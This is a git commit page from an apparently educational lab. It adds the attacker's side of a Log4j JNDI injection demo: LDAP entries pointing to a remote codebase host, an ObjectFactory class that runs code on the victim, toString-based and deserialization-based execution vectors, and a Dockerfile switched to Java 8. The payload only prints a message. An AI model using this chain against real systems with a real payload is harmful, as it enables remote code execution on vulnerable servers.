Browse Source

attacker's ldap

master
Ivan Ivanov 8 months ago
parent
commit
4075dfb569
  1. 5
      Dockerfile
  2. 5
      attacker/README.md
  3. 10
      attacker/made-class.ldif
  4. 10
      attacker/serialized-class.ldif
  5. 42
      attacker/src/FactoryClass.java
  6. 21
      attacker/src/MadeClass.java
  7. 13
      attacker/src/RCEMain.java
  8. 40
      attacker/src/SerializedClass.java

5
Dockerfile

@ -1,10 +1,10 @@
FROM openjdk:11 AS build
FROM openjdk:8 AS build
WORKDIR /usr/local/src/
COPY . /usr/local/src/
RUN ./gradlew installDist
FROM openjdk:11
FROM openjdk:8
ENV APP_NAME victim
@ -13,4 +13,5 @@ COPY --from=build /usr/local/src/build/install/${APP_NAME}/lib/ /usr/local/lib/
RUN echo '#!/bin/sh\n/usr/local/bin/app $@ && tail -f /dev/null' > /entrypoint.sh
RUN chmod +x /entrypoint.sh
ENTRYPOINT [ "/entrypoint.sh" ]

5
attacker/README.md

@ -0,0 +1,5 @@
# Attacker
Hosts an ldap with data from *.ldif files
Hosts an HTTP server serving built classes from files in ./src

10
attacker/made-class.ldif

@ -0,0 +1,10 @@
dn: cn=made-class,dc=ldap-registry,dc=attacker
cn: made-class
javaClassName: MadeClass
javaCodebase: http://attacker_codebase:80/
javaFactory: FactoryClass
objectClass: top
objectClass: javaContainer
objectClass: javaObject
objectClass: javaNamingReference

10
attacker/serialized-class.ldif

@ -0,0 +1,10 @@
dn: cn=made-class,dc=ldap-registry,dc=attacker
cn: made-class
javaClassName: MadeClass
javaCodebase: http://attacker_codebase:80/
javaFactory: FactoryClass
objectClass: top
objectClass: javaContainer
objectClass: javaObject
objectClass: javaNamingReference

42
attacker/src/FactoryClass.java

@ -0,0 +1,42 @@
// Factory class for RCE
//
// The victim will download this `FactoryClass` in an attempt to construct a
// `MadeClass` object. In doing so, it will call the `getObjectInstance` method.
// Normally, this would return the object pointed to in the registry.
//
// However, this code is executed on the victim, and thus provides a vector for
// remote code execution.
import javax.naming.spi.ObjectFactory;
import java.util.Hashtable;
import javax.naming.Name;
import javax.naming.Context;
public class FactoryClass implements ObjectFactory {
@Override
public MadeClass getObjectInstance(
Object obj,
Name name,
Context nameCtx,
Hashtable<?,?> env
) {
// Add instrumentation
System.out.println("RCE Acheived in FactoryClass::getObjectInstance!");
System.out.println("name: " + name );
System.out.println("nameCtx: " + nameCtx);
System.out.println("env: " + env );
System.out.println("obj: " + obj );
// Do whatever we want
RCEMain.rceMain();
// We could choose not to return. However, the caller is expecting an
// object of type MadeClass. I choose to give them something. It's
// useful for further instrumentation.
return new MadeClass();
}
}

21
attacker/src/MadeClass.java

@ -0,0 +1,21 @@
// Class to return from the `FactoryClass`
//
// Objects of this class provide another vector for remote code execution. Log4J
// will call the `toString` method on this object when printing it, and we can
// use that to run code.
public class MadeClass {
@Override
public String toString() {
// Add instrumentation
System.out.println("RCE Acheived in MadeClass::toString!");
// Do whatever we want
RCEMain.rceMain();
// We could choose not to return. However, the caller is expecting an
// object of String. I choose to give them something.
return "MadeClass";
}
}

13
attacker/src/RCEMain.java

@ -0,0 +1,13 @@
// Demonstration main method for remote code execution
//
// TWO COPIES OF THIS FILE EXIST:
// * src/attacker_codebase/src/RCEMain.java
// * src/attacker_ldap_registry_setup/codebase/RCEMain.java
// The former is more up to date than the latter and should be trusted in case
// of discrepancy.
public class RCEMain {
public static void rceMain() {
System.out.println("Function rceMain called!");
}
}

40
attacker/src/SerializedClass.java

@ -0,0 +1,40 @@
// A class to demonstrate serialization
//
// This class serves to demonstrate an alternative to the factory-based
// approach. An object of this class is serialized and stored in the LDAP
// registry, then deserialized to have its `toString` method called.
//
// TWO COPIES OF THIS FILE EXIST:
// * src/attacker_codebase/src/SerializedClass.java
// * src/attacker_ldap_registry_setup/codebase/SerializedClass.java
// The former is more up to date than the latter and should be trusted in case
// of discrepancy.
import java.io.Serializable;
public class SerializedClass implements Serializable {
// Random serialization constant
public static final long serialVersionUID = 42L;
private String message;
public SerializedClass(String message) {
this.message = message;
}
@Override
public String toString() {
// Add instrumentation
System.out.println("RCE Acheived in SerializedClass::toString!");
// Do whatever we want
RCEMain.rceMain();
// We could choose not to return. However, the caller is expecting an
// object of String. I choose to give them something.
return "SerializedClass(\"" + message + "\")";
}
}
Loading…
Cancel
Save